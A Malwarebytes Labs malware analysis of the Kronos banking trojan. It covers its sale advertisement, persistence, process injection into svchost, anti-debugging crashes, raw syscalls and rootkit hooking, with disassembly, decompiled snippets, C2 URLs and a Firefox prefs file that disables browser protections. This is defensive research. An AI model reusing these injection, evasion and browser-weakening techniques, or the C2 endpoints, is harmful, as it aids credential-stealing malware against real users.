Inside the Kronos malware – part 1

blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/

Malwarebytes Labs

August 18, 2017



Recently, a researcher nicknamed MalwareTech famous from stopping the WannaCry ransomware got arrested for his alleged contribution to creating the Kronos banking malware. We are still not having a clear picture whether the allegations are true or not – but let's have a look at Kronos itself.

Background

This malware has been first advertised on the black market since around June 2014, by an individual nicknamed VinnyK, writing in Russian:

| • банковский троян Кг | onos, vinny@exploit.im \$3,000 | Каскадный - [Стандартный] - Линейный |
|-------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------|
| | Подписка на тему Сообщить другу Версия для | a nevime |
| /innyK 🖓 | 10.06.2014, 14:54 | Отправлено <u>#</u> |
| иегабайт | Представляю новый банковский троян. Совместим с 64 и 32bit rootkit троян обеспечен инструментальны действия. | ыми средствами, чтобы давать Вам успешные банковские |
| руппа: Пользователь Сообщений: 54 Чегистрация: 08.06.2014 Пользователь №: 55 745 | Formgrabber: Работает на последних версиях Chrome, Internet E работает. formgrabber грабит логи для каждого сайта. | Explorer, и Firefox.В большинство старых версиях также |
| елутация: <u>2</u> | Webinjects: Работает на последних версиях Chrome, Internet Ехр работает. | plorer, и firefox.В большинство старых версиях также |
| - (o.e - xopomo) + | Инжекты написаны в том же формате zeus config, так что легко | трансфер конфига сделать. |
| | 32-bit и 64-bit ring 3 rootkit: Данный троян имеет те же 32 и 64 t троянцев. | oit ring 3 rootkit который прячет и защищает от других |
| | Proactive Bypass: Троян использует необнаруженные методы ин proactive antivirus защиту. | жекции, чтобы работать в надежном процессе и обходить |
| | Encrypted Communication: Связь между ботом и панелью зашиф | рована для защиты от снифера. |
| | Usermode Sandbox и Rootkit bypass: Троян способный обходить позволят, чтобы быть незатронутым rootkits или sandboxes, кото | любой hook установленный в usermode функциях, которые орые используют эти хуки. |
| | \$3,000 - Пожизненная лицензия продукта. Обновление и устарє Новые модули будут платными. вы должны приобрести копию за | ение багов будут бесплатными. а дополнительную плату. |
| | Принимаем к оплате только: Perfect Money, Bitcoin, WMZ, BTC-E.c | com |
| | | |

Source: https://twitter.com/x0rz/status/893191612662153216

The full text of the advertisement, translated into English, has been included in the <u>IBM's</u> <u>Security Intelligence article</u>.

We found Kronos being spread by various exploit kits, i.e. Sundown (more information <u>here</u>). The malware is being distributed up to now – some of the recent samples have been <u>captured about a month ago, dropped from Rig EK</u>.

Nowadays, Kronos is often used for the purpose of downloading other malware. One of the campaigns using Kronos as a downloader was <u>described by Proofpoint</u>.

Analyzed samples

Samples from 2014:

- <u>01901882c4c01625fd2eeecdd7e6745a</u> first observed sample of Kronos (thanks to Kevin Beaumont)
- f085395253a40ce8ca077228c2322010 sample from the <u>Lexsi article</u> <u>a81ba5f3c22e80c25763fe428c52c758</u> – Kronos (final payload) <u>6c64c708ebe14c9675813bf38bc071cf</u> – injlib-client.dll (module of Kronos)

Sample #1 (from 2016)

Sample #2 (from 2017):

Behavioral analysis

After being run, Kronos installs itself in a new folder (%APPDATA%/Microsoft/[machinespecific GUID]):

| tester AppData Roaming Microsoft | t ▶ {123EB2E9-F3E7-42A | 5-A903-9F94CF91DA | 67} |
|-------------------------------------|------------------------|-------------------|--------|
| n library 🔻 Share with 🔻 Burn N | ew folder | | |
| Name | Date modified | Туре | Size |
| 3bca703c.exe | 2017-08-07 15:11 | Application | 291 KB |

The dropped sample has a hidden attribute.

Persistence is achieved with the help of a simple Run key:

```
      Image: Windows Current Version Run

      Image: Windows Current Versin Run

      Image: Windows
```

At the beginning of the execution, the malware modifies the Firefox profile, overwriting *user.js* with the following content:

```
user_pref("network.cookie.cookieBehavior", 0);
user_pref("privacy.clearOnShutdown.cookies", false);
user_pref("security.warn_viewing_mixed", false);
user_pref("security.warn_viewing_mixed.show_once", false);
user_pref("security.warn_submit_insecure", false);
user_pref("security.warn_submit_insecure.show_once", false);
user_pref("app.update.auto", false);
user_pref("browser.safebrowsing.enabled", false);
user_pref("network.http.spdy.enabled", false);
user_pref("network.http.spdy.enabled.v3", false);
user_pref("network.http.spdy.enabled.v3-1", false);
user_pref("network.http.spdy.allow-push", false);
user_pref("network.http.spdy.coalesce-hostnames", false);
user_pref("network.http.spdy.enabled.deps", false);
user_pref("network.http.spdy.enabled.http2", false);
user_pref("network.http.spdy.enabled.http2draft", false);
user_pref("network.http.spdy.enforce-tls-profile", false);
user_pref("security.csp.enable", false);
```

The new settings are supposed to give to the malware more control over the browser's behavior and downgrade the security settings. Then, the malware injects itself into *svchost*, and continues running from there. We can find it listening on local sockets.

It is worth noting, that Kronos deploys a simple <u>userland rootkit</u>, that hides the infected process from the monitoring tools. So, the process running the main module may not be visible. The rootkit is, however, not implemented in a very reliable way, and the effect of hiding does not always work.

Whenever some browser is deployed. Kronos injects its module there and connects with the main module, that runs inside the svchost process. Looking at the TCP connections established by the particular processes (i.e. using *ProcessExplorer*), we can see that a browser is paired with the infected *svchost*:

| svchost.e | xe:2704 Prope | erties | | | | | |
|-------------------|----------------|----------|-------------|------------|-------|-----------|---|
| Image | Perform | ance | Perform | ance Graph | | GPU Graph | |
| Threads | TCP/IP | Securit | y Envir | onment | Job | Strings | C |
| Resolv | e addresses | | | | | | C |
| Prot | Local Address | Rem | ote Address | State | | | |
| TCP | tester-pc:3276 | 7 tester | r-pc:0 | LISTENIN | G | | |
| TCP | tester-pc:3276 | 8 tester | r-pc:0 | LISTENIN | G | | |
| TCP | tester-pc:3276 | 8 tester | r-pc:49158 | ESTABLIS | HED | | |
| TCP | tester-pc:3276 | 8 tester | r-pc:49162 | ESTABLIS | HED | | |
| TCP | tester-pc:4916 | 0 tester | r-pc:49157 | ESTABLIS | HED | | |
| TCP | tester-pc:4916 | 4 tester | r-pc:49161 | ESTABLIS | HED | | |
| firefox.e | xe:2920 Prope | erties | | | | | x |
| Image | Perfor | mance | Perfor | mance Grap | h | GPU Graph | |
| Thread | Is TCP/ | IP | Security | Enviro | nment | Strings | |
| Resolve addresses | | | | | | | |
| Prot | Local Addres | ss Re | mote Addres | s State | | | |
| TCP | tester-pc:491 | 61 test | er-pc:49164 | ESTABL | SHED | | |
| TCP | tester-pc:491 | 62 test | er-pc:32768 | ESTABL | ISHED | | |
| | | | | | | | |

This trick is often used by banking trojans for the purpose of stealing data from the browser. The module injected in the browser hooks the used API and steals the data. After that, it sends this data to the main module that process it further, and reports to the CnC.

Network communication

The analyzed sample was connecting to CnCs at two addresses:

```
http://springalove.at:80/noix/connect.php
http://springahate.at:80/noix/connect.php
```

At the time of analysis, each CnC was dead (sinkholed), but still, we could spot some patterns typical for this malware family.

7978springahate.at74 bytes connect.php7986springahate.at906 bytes connect.php?a=0

First, the malware sends a beacon that is 74 bytes long:

```
POST /noix/connect.php HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; Trident/
6.0)
Host: springahate.at
Content-Length: 74
Cache-Control: no-cache
```

```
,.tttttttttttttttttttttttttttttt,W...o..n.....j..j..j.....j.nioo.iQ,
```

Then, follows another chunk of data:

```
POST /noix/connect.php?a=0 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.1; Trident/
6.0)
Host: springahate.at
Content-Length: 906
Cache-Control: no-cache
.m.N`...'.V$Y.Q..XE.....%..VN...4.">3~..V.59.&XZ..8..u.
7..^7....aB......MHr..Y6...'...3.(.d.~...IFx(./Mds#..../.
$..@3ul.K......".^,v..I{.....f...Xc..^6.N).
...o.....W.X.fTn+T.v....b..W..a{H#GI..{.d..
                                             ..s..N].D
.@i..&.$....G.u.w.8&.....hl......}..FN&
..t.!.Z%....|.qF.z....{...j..x..W"J0j......Fq...0..g....e.....f.K.pC..
6f*....C.R..|..iVF!..A..#.t....l.mz....462.P..PJm..7'.
(.J3.Y9.2..k6...X.|....s}.....Hm".k....TUX.....&~..x..dx.P.....
0.G.mC.P..,H.E.in....vm....s..Y..]....3..N.....
$...o.`.J,...b..W..az.&....~$.ij...(....d|R.sZ.=.T.....#....V.e ..
5f.?.pM.![.e..l.$.....,.9%...q+...n...^.[+1....g.`.;)..J.5....!
6y....C?.e.....\.vm.TGh..wj...#f...?..SQs It..p..../ ...H.
\*....G'.So.S
.....[...*.6...0.~./..0.p..Q.')."M.}..h...ltqSHTTP/1.1 200 OK
```

In both cases, we can see that the requests are obfuscated by XOR with a random character. This is how the beacon looks after being XOR-decoded:

| ł | 00000000 | 00 | a4 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | [XXXXXXXXXXXXXXXXXXXX] |
|---|----------|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|-----------------------------------------|
| | 00000010 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | 58 | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
| | 00000020 | 58 | 58 | 00 | 7b | 36 | 34 | 38 | 43 | 34 | 32 | 42 | 34 | 2d | 35 | 38 | 32 | XX. {648C42B4-582 |
| | 00000030 | 32 | 2d | 34 | 30 | 37 | 46 | 2d | 39 | 46 | 31 | 32 | 2d | 38 | 38 | 30 | 36 | 2-407F-9F12-8806 |
| | 00000040 | 46 | 37 | 42 | 45 | 43 | 43 | 35 | 45 | 7d | 00 | | | | | | | F7BECC5E}. |

We can see that all the requests start from the same header, including the GUID specific to the infected machine.

Detailed research about decrypting Kronos communication has been already described here.

Inside

Interesting strings

Like most malware, Kronos is distributed packed by various packers/crypters. After unpacking the first layer, we get the malicious payload. We can easily identify Kronos by the typical strings used:

| 00415307 | | | | | |
|----------|-----------|--------|------------|-----|-------------------------|
| 00415307 | 1oc_41530 | 7: | | | |
| 00415307 | lea e | ax, [e | ebp+78h+v. | ar_ | 80] |
| 0041530A | push e | ax | | | |
| 0041530B | push a | ffset | aKronos | - | " <mark>Kronos</mark> " |

There are more strings that are typical for this particular malware:

| 00000000 | enreeper wewereparers |
|-----------------|-----------------------------|
| 003E5EE5 | ASCII "T0E0H4U0X3A3D4D8" |
| 003E5F05 | ASCII "P7Y3Q5P0Y8C2Y6F6" |
| 003E5F25 | ASCII "H7Y6G2R3A5F4D3S8" |
| 003E5F45 | ASCII "E6Y6X7R4G6Y7T5B5" |
| 003E5F65 | ASCII "P4Y7T7R7R8X3E3A3" |
| 003E5F85 | ASCII "UØS3T3D3U5F5B4E8" |
| ØØ3E5E65 | ASCIT "F6C3U4P4X3B1H3T5" |
| ØØ3E5EC5 | ASCIT "B4V2H7E8A2T364H3" |
| 003ESEES | ASCIT "F1U3D5F7R2Y5S0H4" |
| 00356005 | ASCIT "\$483E3\$3\$4T1T3D1" |
| 003E6025 | ASCIT "B6E6X48885D387C6" |
| 003E6045 | ASCIT "R307T702R6S1V3R5" |
| AN3EGN65 | ASCII "C5V7R2R2H1R7A1B2" |
| 00356085 | ASCII "R8S7D7S8H6V4T6B7" |
| 00356005 | 0SCII "X2C7E3U6E307V105" |
| 003E60C5 | 09011 "F1T3H7V505T30702" |
| 000256055 | 00011 "VE00U7VECET007B2" |
| 00356105 | |
| 000256101 | 00011 #U0E70ED0046007V0# |
| 000004140 | |
| 000000140 | 00011 //0000220002200022/ |
| 000000107 | |
| 000006160 | |
| 003E6181 | HSUII ~X7D0E3R2R4Q0E4D3~ |

Those strings are hashes used to dynamically load particular imported functions. Malware authors use this method to obfuscate used API functions, and by this way, hide the real mission of their tool. Instead of loading function using its explicit name, they enumerate all imports in a particular DLL, calculate hashes of their names, and if the hash matches the hardcoded one, they load that function.

Although the approach is common, the implementation seen in Kronos is not typical. Most malware stores hashes in the form of DWORDs, while Kronos stores them as strings.

Inside the early samples of Kronos, we can find a path to the debug symbols, revealing the structure of directories on the machine where the code was built. The following path was extracted from one of the Kronos samples observed in wild (01901882c4c01625fd2eeecdd7e6745a):

C:\Users\Root\Desktop\kronos\VJF1\Binaries\Release\VJF.1.pdb

The PDB path can be also found in the DLL (<u>6c64c708ebe14c9675813bf38bc071cf</u>) that belongs to the release of Kronos from 2014:

C:\Users\Root\Downloads\Kronos2\VJF1\Bot\injlib\bin\injlib-client-Release\injlibclient.pdb

This module, *injlib-client.dll*, is the part injected into browsers. In the newer version of Kronos, analogical DLL can be found, however, the PDB path is removed.

Injection into svchost

The main module of Kronos injects itself into *svchost* (version from 2014 injects into *explorer* instead). In order to achieve this initial injection, the malware uses a known technique, involving the following steps:

- 1. creates the *svchost* process as suspended
- 2. maps its sections into its own address space
- 3. modifies the sections, adding its own code and patching the entry point in order to redirect the execution there
- 4. resumes the suspended process, letting the injected code execute

Below, you can see the memory inside the infected svchost (in early versions, the injection was targeting explorer). The malware is added in a new, virtual section – in the given example, mapped as 0x70000:

| 00060000 00001000 00070000 00040000 | | Priv 00021004 RW RW Map 00041080 RWE CopyOnWr RWE |
|-------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------|
| 000C0000 00001000 0016A000 00002000 | | Priv 00021004 RW Priv 00021104 RW Guarded RW |
| 0016C000 00004000 00170000 00067000 | stack of main thread | Priv 00021104 RW Guarded RW Map 00041002 R R |
| Dump - 00070000000BCF | FF 🗖 | |
| 00070000 4D 5A 90 00 03 00 00070010 B8 00 00 00 00 00 | 00 00 04 00 00 00 FF FF 00 00 MZE 00 00 40 00 00 00 00 00 00 00 00 S | ···•···· A B RWE RWE RWE |
| 00070020 00 00 00 00 00 00 00 00070030 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 | |
| 00070050 69 73 20 70 72 6F 00070050 74 20 62 65 20 72 | 09 CD 21 B8 01 4C CD 21 54 68 β7 β.4 67 72 61 6D 20 63 61 6E 6E 6F is pro 75 6F 20 69 6F 20 44 4F 53 20 t be γ | .=rs⊌L=rin B RWE gram canno B RWE |
| 00070070 6D 6F 64 65 2 00070080 36 03 1B E7 7 00070090 6C 30 FF B4 6 | Dump - 0036000000367FFF | |
| 000700A0 55 A4 0E B4 6 000700B0 54 A6 BE B4 7 00 000700C0 6C 30 F6 B4 7 00 | 360000 4D 5A 90 00 03 00 00 00 04 00 360010 B8 00 00 00 00 00 00 00 40 00 360020 00 00 00 00 00 00 00 00 00 | 00 00 FF FF 00 00 MZE |
| 000700D0 6C 30 E4 B4 7 00 000700E0 00 00 00 00 0 00 000700E0 E0 45 00 00 00 0 | 3660330 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 D8 00 00 00 00 |
| 00070100 00 00 00 00 E | 1360050 69 73 20 70 72 6F 67 72 61 6D 1360060 74 20 62 65 20 72 75 6E 20 69 | 20 63 61 6E 6E 6F is program canno 6E 20 44 4F 53 20 t be run in DOS |

This is how the patched entry point of svchost looks like – as we can see, execution is redirected to the address that lies inside the added section (injected malware):

| | Hex | Disasm | |
|------|------------|--------------------|---------------------|
| 2104 | 68B01A0800 | PUSH DWORD 0X81AB0 | RET -> CALL 0x81ab0 |
| 2109 | C3 | RET | |
| 210A | 0068F8 | ADD [EAX-0X8], CH | |
| 210D | 2136 | AND [ESI], ESI | |
| 210F | 0028 | ADD AL, CH | |

The execution of the injected PE file starts in a different function now – at RVA 0x11AB0:

| 11AB0 | E834EDFFFF | - | CALL 0X004107E9 | |
|-------|--------------|---|----------------------------|----------------------------|
| 11AB5 | 85C0 | | TEST EAX, EAX | |
| 11AB7 | 7503 | V | JNZ SHORT 0X00411ABC | |
| 11AB9 | C20400 | | RET 0X4 | |
| 11ABC | 6A00 | | PUSH 0X0 | |
| 11ABE | FF15BC904100 | V | CALL DWORD NEAR [0X4190BC] | [KERNEL32.dll].ExitProcess |
| 11AC4 | cc | | INT3 | |

- while the original Entry Point of the malware was at RVA 0x12F22:

| | Hex | Disa | sm |
|-------|--------------|----------------------|----|
| 12F22 | 55 | PUSH EBP | |
| 12F23 | 8D6C2498 | LEA EBP, [ESP-0X68] | |
| 12F27 | 81EC200C0000 | SUB ESP, 0XC20 | |
| 12F2D | E89AD8FFFF | A CALL 0X004107CC | |
| 12F32 | 85C0 | TEST EAX, EAX | |
| 12F34 | 7507 | JNZ SHORT 0X00412F3D | |

The malware defends itself from the analysis, and in the case of the VM or debugger being detected, the sample will crash soon after the injection.

Running sample from new Entry Point

The main operations of the malware starts inside the injected module. This is how the new Entry Point looks like:



The main function is responsible for loading all the imports and then deploying the malicious actions.



If you are an analyst trying to run Kronos from that point of the execution, below you will find some tips.

The first block of the function is responsible for filling the import table of the injected module. If we want to run the sample from that point, rather than following it when it is injected, there are some important things to notice. First of all, the loader is supposed to fill some variables inside the injected executable, i.e. the variable *module_base*. Other functions will refer to this, so, if it does not contain the valid value, the sample will crash. Also, the functions filling the imports expects that the section *.rdata* (containing the chunks to be filled), is set as writable. It will be set as writable in the case when the sample is injected because then, the full PE is mapped in a memory region with RWX (read-write-execute) access rights. However, in the normal case – when the sample is run from the disk – it is not. That's why, in order to pass this stage, we need to change the access rights to the section manually.

Another option is to run Kronos sample starting from the next block of the main function. This also leads to successful execution, because in case if the sample is run from the disk rather than injected, imports are filled by windows loader and doing it manually is just redundant.

The last issue to bypass is the defensive check, described below.

Defensive tricks

The malware deploys defense by making several environment checks. The checks are pretty standard – searching blacklisted processes, modules etc. The particular series of checks are called from inside one function, and results are stored as flags set in a dedicated variable:

| 0040DBA9 | defensiv | ve_checks proc near |
|----------|----------|--------------------------------|
| 0040DBA9 | push | esi |
| 0040DBAA | mov | esi, offset is_dbg_vm_detected |
| 0040DBAF | push | esi |
| 0040DBB0 | call | sub_40DAE8 |
| 0040DBB5 | push | esi |
| 0040DBB6 | call | sub_40DB22 |
| 0040DBBB | push | esi |
| 0040DBBC | call | sub_40DB7A |
| 0040DBC1 | add | esp, OCh |
| 0040DBC4 | рор | esi |
| 0040DBC5 | retn | |
| 0040DBC5 | defensiv | ve_checks endp |

If the debugger/VM is detected, the variable has a non-zero value. Further, the positive result of this check is used to make the malware crash, interrupting the analysis.

The crash is implemented by taking an execution path inappropriate to the architecture where the sample was deployed. The malware is a 32 bit PE file, but it has a bit different execution paths, depending if it is deployed on 32 or 64-bit system. First, the malware fingerprints the system and sets the flag indicating the architecture:

```
<mark>eax</mark>, <mark>eax</mark>
004152C7 xor
004152C9 mov
                      <mark>ax</mark>, cs
004152CC shr
                      eax, 5
004152CF mov
                      [ebp+78h+var 4], eax
004152D2 mov
                      eax, [ebp+78h+var 4]
004152D5 mov
                     is_machine_64bit, <mark>eax</mark>
DWORD is_system64_bit()
{
         DWORD flag = 0;
         ___asm {
                   xor eax, eax
                   mov ax, cs
                   shr eax, 5
                   mov flag, eax
         };
         return flag;
}
```

This trick uses observations about typical values of CS registry on different versions of Windows (more information <u>here</u>). It is worth to note, that it covers most but not all the cases, and due to this on some versions of Windows the malware may not run properly. If the debugger/VM is detected, the flag indicating the architecture is being flipped:



That's why the sample crashes on the next occasion when the architecture-specific path of execution should be taken.

For example, if the sample is deployed on 64-bit machine, under Wow64, the syscall can be performed by using the address pointed by FS:[0xC0]. But if the malware runs on a 32-bit machine, the value pointed by FS:[0xC0] will be NULL, thus, calling it crashes the sample.



This way of interrupting analysis is smart – sample does not exit immediately after the VM/debugger is detected, and it makes it harder to find out what was the reason of the crash.

Using raw syscalls

As mentioned in the previous paragraph, Kronos uses raw syscalls. Syscall basically means an interface that allows calling some function implemented by kernel from the user mode. Applications usually use them via API exported by system DLLs (detailed explanation you can find i.e. <u>on EvilSocket's blog</u>).

Those API calls can be easily tapped by monitoring tools. That's why, some malware, for the sake of being stealthier reads the syscalls numbers from the appropriate DLLs, and calls them by it's own code, without using the DLL as a proxy. This trick has been used i.e. by <u>Floki bot</u>.

Let's have a look how is it implemented in Kronos. First, it fetches appropriate numbers of the syscalls from the system DLLs. As mentioned before, functions are identified by hashes of their names (full mapping hash-to-function you can find in <u>Lexsi report</u>).

| 00415EC9 00415ED0 | MOV MOV | [ebp+var_20], offset aNtdl1_dl1_3 ; "ntdl1.dl1" [ebp+var 1C]. 0F4h |
|----------------------|------------|---------------------------------------------------------------------------------------|
| 00415ED7 | MOV | <pre>[ebp+var_18], offset aWow64cpu_dll ; "wow64cpu.dll" [ebp+var_18], GECb</pre> |
| 00415EE5 | MOV | [ebp+var_190], offset aT0e0h4u0x3a3d4 ; "T0E0H4U0X3A3D4D8" |
| 00415EEF 00415EF9 | MOV MOV | [ebp+var_18C], 28h [ebp+var_188], ebx |
| 00415EFF 00415F05 | MOV Mov | [ebp+var_184], edi [ebp+var_180], offset aP7y3q5p0y8c2y6 ; "P7Y3Q5P0Y8C2Y6F6" |
| 00415F0F 00415F10 | MOV | [ebp+var_17C], 30h [ebp+uar_178] eby |
| 00415F1F | MOV | [ebp+var_174], edi |
| 00415F25 | mov | [ebp+var_170], offset aH7y6g2r3a5f4d3 ; "H7Y6G2R3A5F4D3S8" |

For example:

B6F6X4A8R5D3A7C6 -> NtQuerySystemInformation

The numbers of syscalls are stored in variables, xored with a constant. Fragment of the code responsible for extracting raw syscalls from the DLL:

| 🚺 🚄 🔛 | | | |
|----------|-----|-----------------|---------------------------------------------------|
| 0041371E | cmp | byte ptr [esi], | , <mark>088h</mark> |
| 00413721 | jnz | short loc_41372 | 2E ; 0xB8 -> mov eax, <syscall_num></syscall_num> |
| | | | |
| | | • | , |
| 🗾 🚄 🔛 | | | |
| 00413723 | mov | ecx, [esi+1] | ; fetch syscall_num |
| 00413726 | xor | ecx, 57EDh | ; store syscall in xored form |
| 00413720 | MOV | [eax], ecx | |

In order to use them further, for every used syscall Kronos implements its own wrapper function with an appropriate number of parameters. You can see an example below:

| 00416787 | push dword ptr ds:[43C800] | xored_syscall_id | |
|----------|------------------------------------|-------------------|--------------|
| 0041678D | <pre>call kronos_inj3.4166F2</pre> | decode_syscall_id | FAX 00000105 |
| 00416792 | push dword ptr ss:[esp+10] | | EBX 00638080 |
| 00416796 | push dword ptr ss: esp+10 | | ECX 00001000 |
| 0041679A | push dword ptr ss: esp+10 | | EDX 0000000 |
| 004167A2 | call dword ptr ds: [4443DC] | make syscall | EBP 0012FF70 |
| 004167A8 | add esp,10 | | ESP 0012FF34 |
| 004167AB | ret 10 | | ESI 004462E4 |

The EAX registry contains the number of the syscall. In the given example, it represents the following function:

00000105 -> NtQuerySystemInformation

Kronos uses raw syscalls to call the functions that are related to injections to other processes because they usually trigger alerts. Functions that are called by this way are listed below:

NtAllocateVirtualMemory NtCreateFile NtCreateSection NtGetContextThread NtOpenProcess NtProtectVirtualMemory NtQueryInformationProcess NtQuerySystemInformation NtResumeThread NtSetContextThread NtSetValueKey

It matches the black market advertisement, stating: "*The Trojan uses an undetected injection method*" (source).

Rootkit and the hooking engine

One of the features that malware provides is a userland rootkit. Kronos hooks API of the processes so that they will not be able to notice its presence. The hooking is done by a specially crafted block of the shellcode, that is implanted in each accessible running process.

First, Kronos prepares the block of shellcode to be implanted. It fills all the necessary data: addresses of functions that are going to be used, and the data specific to the malware installation, that is intended to be hidden.

Then, it searches through the running processes and tries to make injection wherever it is possible. Interestingly, *explorer.exe* and *chrome.exe* are omitted:

```
. . .
set debuq(v0);
v2 = CreateToolhelp32Snapshot(v1, 2, 0);
if (02 == -1)
{
  CloseHandle(-1);
  result = -1;
}
else
Ł
  if ( Process32FirstW(v2, &v4) == 1 )
  {
    do
    Ł
      if ( pid != GetCurrentProcessId() && lstrcmpiW(L"chrome.exe", &process name) )
      Ł
        if ( lstrcmpiW(L"explorer.exe", &process name) )
          inject into process(pid);
      }
    }
    while ( Process32NextW(v2, &v4) == 1 );
  }
  CloseHandle(v2);
  result = 0;
}
return result;
```

The shellcode is deployed in a new thread within the infected process:

Below you can see the shellocode inside the memory of the infected process:

| 002D0000 00067000 00340000 00004000 00350000 00002000 00360000 00002000 00370000 00002000 00370000 00002000 | Dump - 003400 | 00000343FFF | Map 00041002 Priv 00021040 | |
|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------|
| 0033000 00003000 0039000 00003000 0039000 00003000 0038000 00003000 0038000 00003000 0040000 00001000 0040000 00013000 00419000 00012000 004419000 00012000 00448000 00012000 00448000 00002000 004450000 00002000 004450000 00003000 00512000 00003000 00520000 00003000 00520000 00012000 | 00340000 E9 CF 2 00340010 04 15 0 00340020 68 6A F 00340030 90 90 9 00340040 A8 64 F 00340050 90 90 9 00340060 C8 55 F 00340070 90 90 9 00340090 00 90 9 00340090 08 68 F 00340080 08 68 F | E 00 00 00 00 00 42 2F 00 00 00 01 00 07 18 00 00 61 6F F7 76 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 </th <th>DC 14 00 00 U8. FC 58 F7 76 ♦8. 90 90 90 90 hj+ 00 00 00 00 EEE 90 90 90 90 80 EEE 90 90 90 90 EEE 90 90 90 90 EEE</th> <th></th> | DC 14 00 00 U8. FC 58 F7 76 ♦8. 90 90 90 90 hj+ 00 00 00 00 EEE 90 90 90 90 80 EEE 90 90 90 90 EEE 90 90 90 90 EEE | |
| 00530000 00013000 01320000 00002000 01327000 00001000 01420000 00075000 01610000 00002000 01617000 00001000 01710000 00001000 01712000 00002000 | 003400E0 48 58 F 003400E0 90 90 9 003400E0 48 62 F 003400F0 90 90 9 00340100 18 59 F 00340110 90 90 9 00340120 88 5D F 00340120 88 5D F | $\begin{array}{cccccccccccccccccccccccccccccccccccc$ | 90 90 90 90 90 HA÷ 90 90 90 90 90 Hb÷ 90 90 90 90 90 Hb÷ 90 90 90 90 00 EEE 90 90 90 90 41÷ 90 90 90 90 k1÷ 90 90 90 90 k1÷ | VEEEEEEEEE VEEEEEEEEEE VEEEEEEEEEE |

When it runs, it hooks the following functions in the address space of the infected process:

ZwCreateFile NtOpenFile ZwQueryDirectoryFile NtEnumerateValueKey RtlGetNativeSystemInformation NtSetValueKey ZwDeleteValueKey ZwQueryValueKey NtOpenProcess

The interesting thing about this part of Kronos is its similarity with a hooking engine described <u>by MalwareTech on his blog in January 2015</u>. Later, he <u>complained in his tweet</u>, <u>that cybercriminals stolen and adopted his code</u>. Looking at the hooking engine of Kronos we can see a big overlap, that made us suspect that this part of Kronos could be indeed based on his ideas. However, it turned out that this technique was described much earlier (i.e. <u>here</u>, *//thanks to <u>@xorsthings</u> for the link*), and both authors learned it from other sources rather than inventing it.

Let's have a look at the technique itself. During hooking, one may experience concurrency issues. If a half-overwritten function will start to be used by another thread, the application will crash. To avoid this, it is best to install a hook by a single assembly instruction. MalwareTech's engine used for this purpose an instruction **lock cmpxch8b**. Similar implementation can be found in Kronos.

The hooking function used by Kronos takes two parameters – the address of the function to be hooked, and the address of function used as a proxy. This is the fragment of the implanted shellcode where the hooking function is being called:

| 004165C9 | push ebx | |
|----------|--------------------------------------------|-----------------------------------------|
| 004165CA | call hook_test1.41652C | load_variables |
| 004165CF | mov ebx,eax | _ |
| 004165D1 | <pre>lea edx,dword ptr ds:[ebx+1B07]</pre> | |
| 004165D7 | push edx | |
| 004165D8 | lea edx.dword ptr ds:[ebx+40] | [ebx+40]:ZwResumeThread |
| 004165DB | push edx | |
| 004165DC | call hook_test1.417F61 | hook_function |
| 004165E1 | <pre>lea edx,dword ptr ds:[ebx+1BF2]</pre> | _ |
| 004165E7 | push edx | |
| 004165E8 | lea edx,dword ptr ds:[ebx+60] | [ebx+60]:ZwCreateFile |
| 004165EB | push edx | |
| 004165EC | call hook_test1.417F61 | hook_function |
| 004165F1 | <pre>lea edx,dword ptr ds:[ebx+1C4D]</pre> | |
| 004165F7 | push edx | |
| 004165F8 | lea edx,dword ptr ds:[ebx+80] | [ebx+80]:NtOpenFile |
| 004165FE | push edx | |
| 004165FF | call hook_test1.417F61 | hook_function |
| 00416604 | <pre>lea edx,dword ptr ds:[ebx+1C9C]</pre> | |
| 0041660A | push edx | |
| 0041660B | lea edx,dword ptr ds:[ebx+160] | [ebx+160]:ZwQueryDirectoryFile |
| 00416611 | push edx | |
| 00416612 | call hook_test1.417F61 | hook_function |
| 00416617 | <pre>lea edx,dword ptr ds:[ebx+1E0C]</pre> | |
| 0041661D | push edx | |
| 0041661E | <pre>lea edx,dword ptr ds:[ebx+100]</pre> | [ebx+100]:NtEnumerateValueKey |
| 00416624 | push edx | |
| 00416625 | call hook_test1.417F61 | hook_function |
| 0041662A | <pre>lea edx,dword ptr ds:[ebx+1EB7]</pre> | |
| 00416630 | push edx | |
| 00416631 | lea edx,dword ptr ds:[ebx+140] | [ebx+140]:RtlGetNativeSystemInformation |
| 00416637 | push edx | |
| 00416638 | call nook_test1.417F61 | hook_function |
| 0041663D | Tea edx, dword ptr ds:[ebx+1F2C] | |
| 00416643 | push eax | February 2 - Martine Market |
| 00416644 | Tea edx, dword ptr ds:[ebx+A0] | [ebx+A0]:NtSetValuekey |
